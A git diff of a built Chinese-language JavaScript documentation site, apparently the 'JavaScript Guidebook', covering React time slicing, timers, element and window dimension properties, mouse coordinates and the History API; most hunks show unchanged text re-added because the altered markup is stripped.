                            如果 task 执行时间超过了 16.6ms(比如 task 中有个很耗时的 while 循环)。

                            那么这一帧就没有时间 render,页面直到下一帧 render 后才会更新。表现为页面卡顿一帧,或者说掉帧。

                            最好的办法是时间切片,把长时间 task 分割为几个短时间 task

                            为了解决掉帧造成的卡顿,React16 将递归的构建方式改为可中断的遍历。React16 就是基于 requestIdleCallbackAPI,实现了自己的 Fiber Reconciler。

                            5ms 的执行时间划分 task,每遍历完一个节点,就检查当前 task 是否已经执行了 5ms

                            如果超过 5ms,则中断本次 task

                            通过将 task 执行时间切分为一个个小段,减少长时间 task 造成无法 render 的情况,这就是时间切片。

                            +

                            requestIdleCallback

                            一般浏览器的刷新率为 60HZ,即 1 秒钟刷新 60 次。1000ms / 60hz = 16.6,大概每过 16.6ms 浏览器会渲染一帧画面。

                            在这段时间内,浏览器大体会做两件事:taskrender

                            task -> requestAnimationFrame -> render -> requestIdleCallback

                            如果渲染完成后还有空闲时间,则 requestIdleCallback API 会被调用。

                            掉帧与时间切片

                            如果 task 执行时间超过了 16.6ms(比如 task 中有个很耗时的 while 循环)。

                            那么这一帧就没有时间 render,页面直到下一帧 render 后才会更新。表现为页面卡顿一帧,或者说掉帧。

                            最好的办法是时间切片,把长时间 task 分割为几个短时间 task

                            为了解决掉帧造成的卡顿,React16 将递归的构建方式改为可中断的遍历。React16 就是基于 requestIdleCallbackAPI,实现了自己的 Fiber Reconciler。

                            5ms 的执行时间划分 task,每遍历完一个节点,就检查当前 task 是否已经执行了 5ms

                            如果超过 5ms,则中断本次 task

                            通过将 task 执行时间切分为一个个小段,减少长时间 task 造成无法 render 的情况,这就是时间切片。

                            - + diff --git a/browser-object-model/web-event/set-interval/index.html b/browser-object-model/web-event/set-interval/index.html index 96d69f6b6..d4539bfd5 100644 --- a/browser-object-model/web-event/set-interval/index.html +++ b/browser-object-model/web-event/set-interval/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                            setInterval

                            window.setInterval()  方法重复调用一个函数或执行一个代码段,在每次调用之间具有固定的时间延迟。

                            解决的问题:由于 JavaScript 的单线程特征,定时器提供了一种跳出单线程限制的方法,即让一段代码在一定毫秒之后,再异步执行。

                            语法

                            let intervalID = window.setInterval(func, delay[, param1, param2, ...]);
                            let intervalID = window.setInterval(code, delay);

                            参数

                            参数描述
                            intervalId定时器的唯一辨识符,可以作为参数传给 clearInvterval()
                            func需要重复调用的函数
                            code是另一种语法的应用,是指你想重复执行的一段字符串构成的代码(不推荐使用,不推荐的原因和 eval() 一样)
                            delay是每次延迟的毫秒数(一秒等于 1000 毫秒),函数的每次调用会在该延迟之后发生。和 setTimeout 一样,实际的延迟时间可能会稍长一点

                            需要注意的是,IE 不支持第一种语法中向延迟函数传递额外参数的功能。如果你想要在 IE 中达到同样的功能,你必须使用一种兼容代码。

                            注意

                            • 定时器的时间间隔设为 0,也会有几毫秒的延迟
                            • 在使用 setIntervalsetTimeout 时最好将其返回值赋值给一个变量,以便取消定时器
                            • 在使用 Vue 的时候,setTimeoutsetIntervalthis 指向时 window 对象,访问不到组件数据以及方法
                            • 在使用 Vue 的时候,路由跳转但不会销毁 setInterval ,但是组件已经销毁了,这会导致问题
                            • 在执行线程中 setTimeout / setInterval 无法保证准时执行回调函数的
                            • setInterval 调用有可能会被废弃以及 setInterval 的连续执行

                            停止间歇调用

                            使用 clearInterval(timeId) 可以清除间歇调用定时器(定时器还在,只是没调用)。

                            使用方法

                            基本用法

                            // 间歇调用的函数
                            const animate = () => {
                            console.log('间隙调用');
                            };
                            // 间歇调用定时器(表示每过500毫秒执行一次animate函数)
                            const intervalID = setInterval(animate, 500);
                            -
                            // 清除调用
                            clearInterval(intervalID);
                            +
                            // 清除调用
                            clearInterval(intervalID);
                            - + diff --git a/browser-object-model/web-event/set-time-out/index.html b/browser-object-model/web-event/set-time-out/index.html index af250c892..ba9294520 100644 --- a/browser-object-model/web-event/set-time-out/index.html +++ b/browser-object-model/web-event/set-time-out/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -35,12 +38,12 @@
                            const execute = function (fn, time) {
                            timeWorkers[key] = setTimeout(function () {
                            fn();
                            execute(fn, time);
                            });
                            return key;
                            };
                            execute(cb, time);
                            };
                            -
                            const _clearInterval = function (key) {
                            if (key in window.timeWorkers) {
                            clearTimeout(timeWorkers[key]);
                            delete timeWorkers[key];
                            }
                            };
                            +
                            const _clearInterval = function (key) {
                            if (key in window.timeWorkers) {
                            clearTimeout(timeWorkers[key]);
                            delete timeWorkers[key];
                            }
                            };
                            - + diff --git a/browser-object-model/window-position/document-view-and-element-view/index.html b/browser-object-model/window-position/document-view-and-element-view/index.html index c610f2b73..d2206ba89 100644 --- a/browser-object-model/window-position/document-view-and-element-view/index.html +++ b/browser-object-model/window-position/document-view-and-element-view/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -35,12 +38,12 @@
                            // 输出内容如下:
                            DOMRectList[
                            {
                            top: 100,
                            left: 100,
                            right: 200, // => (left + width)
                            bottom: 200, // => (top + height)
                            x: 100,
                            y: 100,
                            }
                            ];

                            getBoundingClientRect() 获取元素位置

                            getBoundingClientRect() 方法放回一组元素的左、上、右及下分别相对浏览器可视窗口的位置的集合 DOMRect。

                            getBoundingClientRectDOM 元素到浏览器可视范围的距离(不包含文档卷起的部分)。

                            const rectObject = ele.getBoundingClientRect();
                            getBoundingClientRect

                            使用如下示例代码:

                            const foo = document.getElementById('foo');
                            const fooBoundingRect = ele.getBoundingClientRect();
                            console.log(foo);
                            -
                            // 输出内容如下:
                            DOMRect {
                            top: 100,
                            left: 100,
                            right: 200, // => (left + width)
                            bottom: 200, // => (top + height)
                            width: 100,
                            height: 100,
                            x: 100,
                            y: 100,
                            }

                            scrollIntoView()

                            ⚗️ 这是一个实验中的功能

                            scrollView() 方法让当前的元素滚动到浏览器窗口的可视区域内。

                            element.scrollIntoView(alignToTop || options);
                            参数说明类型
                            alignToTop
                            1. true:元素顶端和其所在滚动区的可视区域的顶端对齐
                            2. false:元素底端和其所在滚动区的可视区域的底端对齐
                            boolean
                            options一个带有选项的配置对象,详细参数查看下表object

                            options

                            参数说明类型默认值
                            behavior定义缓慢函数,可选值为 auto instant smoothstringauto
                            block定义块级元素对齐方式,可选值为 center end neareststringcenter
                            inline定义行内元素对齐方式,可选值为 center end neareststringnearest
                            +
                            // 输出内容如下:
                            DOMRect {
                            top: 100,
                            left: 100,
                            right: 200, // => (left + width)
                            bottom: 200, // => (top + height)
                            width: 100,
                            height: 100,
                            x: 100,
                            y: 100,
                            }

                            scrollIntoView()

                            ⚗️ 这是一个实验中的功能

                            scrollView() 方法让当前的元素滚动到浏览器窗口的可视区域内。

                            element.scrollIntoView(alignToTop || options);
                            参数说明类型
                            alignToTop
                            1. true:元素顶端和其所在滚动区的可视区域的顶端对齐
                            2. false:元素底端和其所在滚动区的可视区域的底端对齐
                            boolean
                            options一个带有选项的配置对象,详细参数查看下表object

                            options

                            参数说明类型默认值
                            behavior定义缓慢函数,可选值为 auto instant smoothstringauto
                            block定义块级元素对齐方式,可选值为 center end neareststringcenter
                            inline定义行内元素对齐方式,可选值为 center end neareststringnearest
                            - + diff --git a/browser-object-model/window-position/element-view-properties/index.html b/browser-object-model/window-position/element-view-properties/index.html index bb59aaea8..667b0bea0 100644 --- a/browser-object-model/window-position/element-view-properties/index.html +++ b/browser-object-model/window-position/element-view-properties/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -29,12 +32,12 @@

                            Element 文档元素视图属性

                            目录:

                            偏移量

                            偏移量(Offset Dimension)是 JavaScript 中的一个重要概念。

                            涉及到偏移量的主要是

                            • offsetWdith
                            • offsetHeight
                            • offsetLeft
                            • offsetTop

                            当然,还有一个偏移参照量——定位父级 offsetParent

                            偏移量

                            定位父级 offsetParent

                            DOM 元素的 offsetParent 属性返回一个对象的引用,这个对象是距离调用 offsetParent 元素最近的(在包含层次中最靠近的),并且是已进行过 CSS 定位position 不为 static )的容器元素

                            元素固定定位

                            • 元素自身为 fixed 固定定位,offsetParent 的结果为 null

                            ⚠️ 注意: 当元素自身为 fixed 固定定位时,固定定位的元素相对于视口进行定位,此时没有父级。

                            <div id="foo" style="position: fixed"></div>
                            <script>
                            // Firefox 并没有考虑固定定位的问题,返回 body 元素,其他浏览器都返回 null
                            const foo = document.getElementById('foo');
                            console.log(foo.offsetParent); // null
                            </script>

                            ⚠️ Firefox 浏览器有兼容性问题

                            元素非固定定位,最近父元素未定位

                            • 元素自身无 fixed 固定定位,且父级元素都未经过定位,offsetParent 的结果为 <body> 根元素
                            <div id="foo"></div>
                            <script>
                            const foo = document.getElementById('foo');
                            console.log(foo.offsetParent); // <body>
                            </script>

                            元素非固定定位,父元素已定位

                            • 元素自身无 fixed 固定定位,且父级元素存在经过定位的元素,offsetParent 的结果为离自身元素最近的经过定位的父级元素
                            <div id="div0" style="position:absolute;">
                            <div id="div1" style="position:absolute;">
                            <div id='foo'
                            nm </div>
                            </div>
                            </div>
                            <script>
                            const foo = document.getElementById('foo');
                            console.log(foo.offsetParent); //<div id="div1">
                            </script>

                            根元素

                            • body 根元素的 parentNodenull
                            console.log(document.body.offsetParent); // null

                            边距偏移量 offsetLeft 和 offsetTop

                            DOM 元素的 offsetLeftoffsetTop 这两个只读属性offsetParent 属性有关。要确定这两个属性的值,首先得确定元素的 offsetParent。确定了 offsetParentoffsetLeft 指的是元素左侧偏移 offsetParent 的距离,同理 offsetTop 指的是上侧偏移的距离。

                            边距偏移量

                            offsetLeft

                            offsetLeft当前元素左外边界包含元素的 offsetParent 节点的左内边界的像素距离。

                            offsetLeft = (offsetParent 的 padding-left) + (中间元素的 offsetWidth) + (当前元素的 margin-left)

                            使用方法:

                            const offsetLeft = element.offsetLeft;

                            offsetTop

                            offsetTop当前元素上外边界包含元素的 offsetParent 节点的上边界的像素值。

                            offsetTop = (offsetParent 的 padding-top) + (中间元素的 offsetHeight) + (当前元素的 margin-top)

                            使用方法:

                            const offsetTop = element.offsetTop;

                            但通过上面的例子我们可以看到,当 offsetParentbody 时情况比较特殊。

                            在 IE8/8/10 及 Chrome 中,offsetLeft = (body 的 margin-left) + (body 的 border-width) + (body 的 padding-left) + (当前元素的 margin-left)

                            在 Firefox 中,offsetLeft = (body 的 margin-left) + (body 的 padding-left) + (当前元素的 margin-left)

                            • 元素的 padding 会影响边距偏移量,而父元素的 padding 不会影响当前元素的 offsetLeft,父元素的 margin 会影响。

                            宽高偏移量 offsetWidth 和 offsetHeight

                            DOM 元素的 offsetWidthoffsetHeight 是一种 CSS 宽度和高度的衡量标准,包括元素的边框、内边距和元素的滚动条(如果存在且渲染的话),不包括 :before:after 等伪类元素的高度,分别返回当前元素的布局宽度和当前元素的布局高度。

                            经过测试可以发现,即使元素加上水平或垂直滚动条,offsetWidthoffsetHeight 的值是不会更改的,因为浏览器渲染时把滚动条的宽度(或高度)算在了元素本身的宽度(或高度)中了。

                            offsetWidthoffsetHeight 这两个属性的值只与该元素有关,与周围元素(父级和子级元素都无关)。

                            宽高偏移量

                            offsetWidth

                            offsetWidth 表示元素在水平方向所占用的空间大小,即元素宽度、(可见的)垂直滚动条的宽度、内边距和边框四者的总和。

                            offsetWidth =
                            border - left - width + padding - left + width + padding - right + border - right - width;

                            使用方法:

                            const offsetWidth = element.offsetWidth;

                            offsetHeight

                            offsetHeight 表示元素在垂直方向所占用的空间大小,即元素宽度、(可见的)水平滚动条的宽度、内边距和边框四者的总和。

                            offsetHeight =
                            border - top - width + padding - top + width + padding - bottom + border - bottom - width;

                            使用方法:

                            const offsetHeight = element.offsetHeight;

                            ⚠️ 如果存在垂直滚动条,offsetWidth 也包括垂直滚动条的宽度;如果存在水平滚动条,offsetHeight 也包括水平滚动条的高度。

                            ⚠️ 这两个属性值会被四舍五入为正数值,如果你需要一个浮点数值请用 element.getBoundingClientRect()

                            偏移量注意事项

                            • 所有偏移量均为只读属性
                            • 元素样式设置 display: none 则它的偏移量为 0
                            • 每次访问偏移量属性都需要重新计算

                            重复访问偏移量属性需要耗费大量的性能,所以要尽量避免重复访问这些属性。如果需要重复访问,则把它们的值保存在变量中,以提高性能。

                            内容可视区

                            内容可视区,顾名思义,就是用户可视可操作区的大小。在一个 Windows 窗口中,内容可视区又是工作区,其实就是用户可以看到的,并且能利用的区域。在浏览器中,客户区表达了元素可以渲染的区域,显然,这个区域就是元素所占空间,但是边框和滚动条是不算的,所以内容可视区大小需加上内边距。故 clientWidthoffsetWidth 的差别就在于边框与滚动条上。

                            内容可视区

                            内容可视区宽高 clientWidth 和 clientHeight

                            clientWidthclientHeight 表示元素内容可视区的宽度和高度,包括边距大小(padding),但是不包括边框(border)和滚动条(scroll bar)。

                            clientWidth = padding - left + width + padding - right;
                            clientHeight = padding - top + width + padding - bottom;

                            内容可视区边距 clientLeft 和 clientTop

                            clientLeftclientTop 分别表示内容可视区的左上角相对于整个元素左上角的位置(包括边框)

                            clientLeft = border - left - width;
                            clientTop = border - top - width;

                            兼容性

                            获取 <body> 标签 DOM 对象宽高

                            document.body.clientWidth || document.documentElement.clientWidth;
                            document.body.clientHeight || document.documentElement.clientHeight;

                            内容滚动区

                            滚动有关的属性都因滚动条而起。滚动条是常见的延长显示策略,也是电子媒体特有的优势。浏览器必须考虑滚动条本身的高度和宽度,于是便出现了 scrollWidthscrollLeft 等属性,以支持对滚动条高宽的控制。

                            由于滚动相关属性都是为滚动条而设计,那么,在没有滚动时,这些属性将失去意义,可不必考虑,或用其他属性代替。

                            内容滚动区

                            内容滚动区宽高 scrollWidth 和 scrollHeight

                            scrollWidthscrollHeight 分别表示元素内容的宽度和元素内容的高度。

                            scrollWidth 是滚动宽度,当出现了水平滚动条,元素真实的宽度是看不出来的,此时元素在页面上所占据的宽度依然是 offsetWidth,而其整个内容区的宽度会因为出现了滚动条而遮住。此时,为了得到元素内容的真实大小,就需要用 scrollWidth,就像是将滚动的内容全部铺开,此时呈现出来的宽度就是 scrollWidth,而不包含边框和 Y 轴滚动条的宽度,就像是铺开的 clientWidth。同理可得 scrollHeight 为滚动高度。

                            使用如下示例代码:

                            const foo = document.getElementById('foo');
                            -
                            const scrollWidth = foo.scrollWidth;
                            const scrollHeight = foo.scrollHeight;

                            如果元素没有隐藏的部分,则相关的值应该等于 clientWidthclientHeight

                            当你向下滚动滚动条的时候,scrollHeight 应该等用于 scrollTop + clientHeight

                            内容滚动区边距 scrollLeft 和 scrollTop

                            scrollTop 可设置或获取位于对象最顶端和窗口中可见内容的最顶端之间的距离。

                            scrollLeft 可设置或获取位于对象左边界和窗口中目前可见内容的最左端之间的距离。

                            获取滚动条到元素左边界和上边界距离:

                            const scrollLeft = element.scrollLeft;
                            const scrollTop = element.scrollTop;

                            设置滚动条滚动的距离:

                            element.scrollLeft = 10;
                            element.scrollTop = 10;

                            scrollLeftscrollTop 可以是任意整数,然而:

                            • 如果元素无滚动轴(如:元素无溢出),那么 scrollLeft 的值是 0
                            • 如果给 scrollLeft 设置的值小于 0,那么 scrollLeft 的值将变为 0
                            • 如果给 scrollLeft 设置的值大于元素内容最大宽度,那么 scrollLeft 的值将被设为元素最大宽度

                            参考资料:

                            +
                            const scrollWidth = foo.scrollWidth;
                            const scrollHeight = foo.scrollHeight;

                            如果元素没有隐藏的部分,则相关的值应该等于 clientWidthclientHeight

                            当你向下滚动滚动条的时候,scrollHeight 应该等用于 scrollTop + clientHeight

                            内容滚动区边距 scrollLeft 和 scrollTop

                            scrollTop 可设置或获取位于对象最顶端和窗口中可见内容的最顶端之间的距离。

                            scrollLeft 可设置或获取位于对象左边界和窗口中目前可见内容的最左端之间的距离。

                            获取滚动条到元素左边界和上边界距离:

                            const scrollLeft = element.scrollLeft;
                            const scrollTop = element.scrollTop;

                            设置滚动条滚动的距离:

                            element.scrollLeft = 10;
                            element.scrollTop = 10;

                            scrollLeftscrollTop 可以是任意整数,然而:


                            参考资料:

                            - + diff --git a/browser-object-model/window-position/index.html b/browser-object-model/window-position/index.html index 18dc9cd01..d4be122da 100644 --- a/browser-object-model/window-position/index.html +++ b/browser-object-model/window-position/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/browser-object-model/window-position/mouse-position/index.html b/browser-object-model/window-position/mouse-position/index.html index 1fe63a501..05724119e 100644 --- a/browser-object-model/window-position/mouse-position/index.html +++ b/browser-object-model/window-position/mouse-position/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 鼠标位置 - JavaScript Guidebook -

                            鼠标位置

                            MouseEvent 接口指用户与指针设备(如鼠标)交互时发生的事件。使用此接口的常见

                            clientX/clientY

                            MousEvent.clientX 和 MousEvent.clientY 设置或获取鼠标指针位置相对于窗口客户区域的横纵坐标,其中客户区域不包括窗口自身的控件和滚动条。

                            clientX/clientY

                            offsetX/offsetY

                            MousEvent.offsetX 和 MousEvent.offsetY 设置或获取鼠标指针位置相对于触发事件的对象的横纵坐标。

                            offsetX/offsetY

                            pageX/pageY

                            MousEvent.pageX 和 MousEvent.pageY 相对于整个网页左上角坐标。

                            pageX/pageY

                            screenX/screenY

                            MousEvent.screenX 和 MousEvent.screenY 设置或获取获取鼠标指针位置相对于用户屏幕的横纵坐标。

                            screenX/screenY

                            X/Y

                            MouseEvent.X 和 MouseEvent.Y 设置或获取鼠标指针位置相对于父文档的横纵坐标。

                            eventX.eventY

                            总结

                            属性说明
                            clientX设置或获取当事件被触发时鼠标指针相对于 浏览器页面(或客户区) 的水平坐标。
                            clientY设置或获取当事件被触发时鼠标指针向对于 浏览器页面(或客户区) 的垂直坐标。
                            screenX设置或获取当事件被触发时鼠标指针相对于屏幕的水平坐标
                            screenY设置或获取当事件被触发时鼠标指针相对于屏幕的垂直坐标
                            offsetX设置或获取鼠标指针位置相对于触发事件的对象的横坐标
                            offsetY设置或获取鼠标指针位置相对于触发事件的对象的纵坐标
                            X事件发生的位置的横坐标, 它相对于用 CSS 动态定位的最内层包容元素。
                            Y事件发生的位置的纵坐标, 它相对于用 CSS 动态定位的最内层包容元素。
                            pageX鼠标指针的位置,相对于文档的左边缘。
                            pageY鼠标指针的位置,相对于文档的上边缘。
                            layerX鼠标相比较于当前坐标系的位置。
                            layerY鼠标相比较于当前坐标系的位置。
                            +

                            鼠标位置

                            MouseEvent 接口指用户与指针设备(如鼠标)交互时发生的事件。使用此接口的常见

                            clientX/clientY

                            MousEvent.clientX 和 MousEvent.clientY 设置或获取鼠标指针位置相对于窗口客户区域的横纵坐标,其中客户区域不包括窗口自身的控件和滚动条。

                            clientX/clientY

                            offsetX/offsetY

                            MousEvent.offsetX 和 MousEvent.offsetY 设置或获取鼠标指针位置相对于触发事件的对象的横纵坐标。

                            offsetX/offsetY

                            pageX/pageY

                            MousEvent.pageX 和 MousEvent.pageY 相对于整个网页左上角坐标。

                            pageX/pageY

                            screenX/screenY

                            MousEvent.screenX 和 MousEvent.screenY 设置或获取获取鼠标指针位置相对于用户屏幕的横纵坐标。

                            screenX/screenY

                            X/Y

                            MouseEvent.X 和 MouseEvent.Y 设置或获取鼠标指针位置相对于父文档的横纵坐标。

                            eventX.eventY

                            总结

                            属性说明
                            clientX设置或获取当事件被触发时鼠标指针相对于 浏览器页面(或客户区) 的水平坐标。
                            clientY设置或获取当事件被触发时鼠标指针向对于 浏览器页面(或客户区) 的垂直坐标。
                            screenX设置或获取当事件被触发时鼠标指针相对于屏幕的水平坐标
                            screenY设置或获取当事件被触发时鼠标指针相对于屏幕的垂直坐标
                            offsetX设置或获取鼠标指针位置相对于触发事件的对象的横坐标
                            offsetY设置或获取鼠标指针位置相对于触发事件的对象的纵坐标
                            X事件发生的位置的横坐标, 它相对于用 CSS 动态定位的最内层包容元素。
                            Y事件发生的位置的纵坐标, 它相对于用 CSS 动态定位的最内层包容元素。
                            pageX鼠标指针的位置,相对于文档的左边缘。
                            pageY鼠标指针的位置,相对于文档的上边缘。
                            layerX鼠标相比较于当前坐标系的位置。
                            layerY鼠标相比较于当前坐标系的位置。
                            - + diff --git a/browser-object-model/window-position/screen-view-properties/index.html b/browser-object-model/window-position/screen-view-properties/index.html index 5b85a0bbf..1e0c7d426 100644 --- a/browser-object-model/window-position/screen-view-properties/index.html +++ b/browser-object-model/window-position/screen-view-properties/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                            Screen 对象视图属性

                            屏幕分辨率宽高

                            screen.widthscreen.height 分别表示当前浏览器的屏幕的宽高,以像素计算。这两个只读属性,一般用来了解设备的分辨率。除非调整显示器的分辨率,否则这两个值可以看作常量,不会发生变化。显示器的分辨率与浏览器设置无关,缩放网页并不会改变分辨率。

                            使用如下示例代码:

                            screen.width;
                            screen.height;
                            // 同样可通过 Window 对象挂在属性获取
                            window.screen.width
                            window.screen.height

                            最佳实践

                            可以根据屏幕分辨率,将用户导向不同网页。

                            if (screen.width <= 800 && screen.height <= 600) {
                            window.location.replace('small.html');
                            } else {
                            window.location.replace('wide.html');
                            }

                            屏幕可用工作区宽高

                            screen.availWidthscreen.availHeight 分别表示显示浏览器的屏幕的可用宽高,以像素计算。屏幕可用高度除去浏览器底部任务栏的屏幕高度。这两个只读属性均为屏幕的像素高度减去系统部件高度之后的值。

                            使用如下示例代码:

                            screen.availWidth;
                            screen.availHeight;
                            -
                            // 同样可通过 Window 对象挂在属性获取
                            window.screen.availWidth
                            window.screen.availHeight

                            总结

                            属性说明
                            screen.width屏幕像素宽度
                            screen.height屏幕像素高度
                            screen.availWidth屏幕可用宽度
                            screen.availHeight屏幕可用高度
                            +
                            // 同样可通过 Window 对象挂在属性获取
                            window.screen.availWidth
                            window.screen.availHeight

                            总结

                            属性说明
                            screen.width屏幕像素宽度
                            screen.height屏幕像素高度
                            screen.availWidth屏幕可用宽度
                            screen.availHeight屏幕可用高度
                            - + diff --git a/browser-object-model/window-position/window-view-properties/index.html b/browser-object-model/window-position/window-view-properties/index.html index 32973bcdb..597ac7753 100644 --- a/browser-object-model/window-position/window-view-properties/index.html +++ b/browser-object-model/window-position/window-view-properties/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Window 对象视图属性 - JavaScript Guidebook -

                            Window 对象视图属性

                            这些属性可以 hold 住整个浏览器窗体大小。微软则将这些 API 称为 Screenview 接口。

                            浏览器宽高

                            window.outerWidthwindow.outerHeight 表示整个浏览器的宽高(以像素为单位),包括侧边栏(如果存在)、窗口镶边(Window Chrome)和窗口调正边框,包含调试窗及浏览器边框。

                            浏览器宽高

                            使用如下示例代码:

                            window.outerHeight;
                            window.outerHeight;

                            outterWidthoutterHeight 属性为只读属性,没有默认值。

                            浏览器网页视口宽高

                            window.innerWidthwindow.innerHeight 表示浏览器网页视口的宽高,如果存在垂直/水平滚动条,则包括它,不包括调试窗及浏览器边框。

                            浏览器网页视口宽高

                            使用如下示例代码:

                            window.innerWidth;
                            window.innerHeight;

                            innerWidthinnerHeight 属性为只读属性,没有默认值。

                            浏览器距屏幕边距

                            window.screenLeftwindow.screenTop 分别表示浏览器网页视口的左上角的 X / Y 坐标,该属性为只读属性。(注:在 Firefox 等浏览器中使用的是 screenXscreenY 属性)

                            使用如下示例代码:

                            window.screenLeft;
                            window.screenTop;

                            浏览器网页视口滚动偏移

                            window.pageXOffsetwindow.pageYOffset 表示当前页面相对于网页视口显示区左上角的 X / Y 坐标。

                            使用如下示例代码:

                            window.pageXOffset;
                            window.pageYOffset;

                            总结

                            属性说明
                            window.outerWidth浏览器网页视口外层宽度
                            window.outerHeight浏览器网页视口外层高度
                            window.innerWidth浏览器网页视口内层宽度
                            window.innerHeight浏览器网页视口内层高度
                            window.screenTop浏览器距屏幕上边距
                            window.screenLeft浏览器距屏幕左边距
                            window.pageXOffset当前页面距网页视口显示区上边距
                            window.pageYOffset当前页面距网页视口显示区左边距
                            +

                            Window 对象视图属性

                            这些属性可以 hold 住整个浏览器窗体大小。微软则将这些 API 称为 Screenview 接口。

                            浏览器宽高

                            window.outerWidthwindow.outerHeight 表示整个浏览器的宽高(以像素为单位),包括侧边栏(如果存在)、窗口镶边(Window Chrome)和窗口调正边框,包含调试窗及浏览器边框。

                            浏览器宽高

                            使用如下示例代码:

                            window.outerHeight;
                            window.outerHeight;

                            outterWidthoutterHeight 属性为只读属性,没有默认值。

                            浏览器网页视口宽高

                            window.innerWidthwindow.innerHeight 表示浏览器网页视口的宽高,如果存在垂直/水平滚动条,则包括它,不包括调试窗及浏览器边框。

                            浏览器网页视口宽高

                            使用如下示例代码:

                            window.innerWidth;
                            window.innerHeight;

                            innerWidthinnerHeight 属性为只读属性,没有默认值。

                            浏览器距屏幕边距

                            window.screenLeftwindow.screenTop 分别表示浏览器网页视口的左上角的 X / Y 坐标,该属性为只读属性。(注:在 Firefox 等浏览器中使用的是 screenXscreenY 属性)

                            使用如下示例代码:

                            window.screenLeft;
                            window.screenTop;

                            浏览器网页视口滚动偏移

                            window.pageXOffsetwindow.pageYOffset 表示当前页面相对于网页视口显示区左上角的 X / Y 坐标。

                            使用如下示例代码:

                            window.pageXOffset;
                            window.pageYOffset;

                            总结

                            属性说明
                            window.outerWidth浏览器网页视口外层宽度
                            window.outerHeight浏览器网页视口外层高度
                            window.innerWidth浏览器网页视口内层宽度
                            window.innerHeight浏览器网页视口内层高度
                            window.screenTop浏览器距屏幕上边距
                            window.screenLeft浏览器距屏幕左边距
                            window.pageXOffset当前页面距网页视口显示区上边距
                            window.pageYOffset当前页面距网页视口显示区左边距
                            - + diff --git a/browser-object-model/window/history/index.html b/browser-object-model/window/history/index.html index 3d86f6f4e..90271a5d6 100644 --- a/browser-object-model/window/history/index.html +++ b/browser-object-model/window/history/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@

                            History 对象

                            History 方法

                            history.go

                            使用  history.go  方法可以在用户的历史记录中任意跳转,可以向后也可以向前。这个方法接受一个参数,表示向后或向前跳转的页面数的一个整数值

                            • 负数表示向后跳转(类似于单击浏览器的 后退 按钮)
                            • 正数表示向前跳转(类似于单击浏览器的 前进 按钮)
                            // 前进一页
                            history.go(1);
                            // 前进两页
                            history.go(2);
                            // 后退一页
                            history.go(-1);

                            也可以给  go  方法传递一个字符串参数,此时浏览器会跳转到历史记录中包含该字符串的第一个位置——可能后退,也可能前进,具体要看哪个位置最近。如果历史记录中不包含该字符串,那么这个方法什么也不做。

                            // 跳转到最近的 github.com 页面
                            history.go('github.com');

                            history.go() 方法无参数时,相当于 history.go(0),可以刷新当前页面

                            // 刷新当前页面
                            history.go();
                            -
                            // 刷新当前页面
                            history.go(0);

                            history.back

                            history.back() 方法用于模仿浏览器的后退按钮,相当于 history.go(-1)

                            // 下面两种写法效果一致
                            history.back();
                            history.go(-1);

                            history.forward

                            forward() 方法用于模仿浏览器的前进按钮,相当于 history.go(1)

                            // 后退一页
                            history.back();
                            // 前进一页
                            history.forward();

                            如果移动的位置超出了访问历史的边界,以上三个方法并不报错,而是静默失败 。

                            使用历史记录时,页面通常从浏览器缓存之中加载,而不是重新要求服务器发送新的网页。

                            history.pushState

                            向当前浏览记录栈中添加一条新的历史记录,添加后页面不会重新加载。

                            history.pushState(state, title, url);
                            • state:用于存储该 URL 对应的状态对象。该对象可通过 history.statepopstate 事件回调中的 event 对象获取。如果不需要这个对象,此处可以填 null。
                            • title:新页面的标题,但是所有浏览器目前都忽略这个值,因此这里可以填 null。
                            • url:URL 地址,不允许跨域。这个参数可选,如果它没有被特别标注,会被设置为文档的当前 URL。

                            history.pushState 函数向浏览器的历史堆栈压入一个 URL 为设定值的记录,并改变历史堆栈的当前指针至栈顶。

                            调用 pushState() 方法将新生成一条历史记录,方便用浏览器的 后退前进 来导航(后退 可是相当常用的按钮)。

                            另外,从 URL 的同源策略可以看出,HTML5 History API 的出发点是很明确的,就是让无跳转的单站点也可以将它的各个状态保存为浏览器的多条历史记录。当通过历史记录重新加载站点时,站点可以直接加载到对应的状态。

                            url 设为锚点值时不会触发 onhashchange

                            根据 同源策略,如果设置不同域名地址,会报错,这样做的目的是:防止用户以为它们是同一个网站,若没有此限制,将很容易进行 XSSCSRF 等攻击方式

                            history.replaceState()

                            它和 history.pushState() 方法基本相同,区别只有一点,history.replaceState() 不会新生成历史记录,而是将当前历史记录替换掉,常用于落地页

                            history.replaceState(state, title, url);

                            window.onpopstate

                            push 的对立就是 pop,可以猜到这个事件是在浏览器取出历史记录并加载时触发的。但实际上,它的条件是比较苛刻的,几乎只有 点击浏览器的“前进”、“后退”这些导航按钮,或者是由 JavaScript 调用的 history.back() 等导航方法,且 切换前后的两条历史记录都属于同一个网页文档,才会触发本事件,因为这些操作有一个共性,即修改了历史堆栈的当前指针。

                            上面的 同一个网页文档 请理解为 JavaScript 环境的 document 是同一个,而不是指基础 URL(去掉各类参数的)相同。也就是说,只要有重新加载发生(无论是跳转到一个新站点还是继续在本站点),JavaScript 全局环境发生了变化,popstate 事件都不会触发。

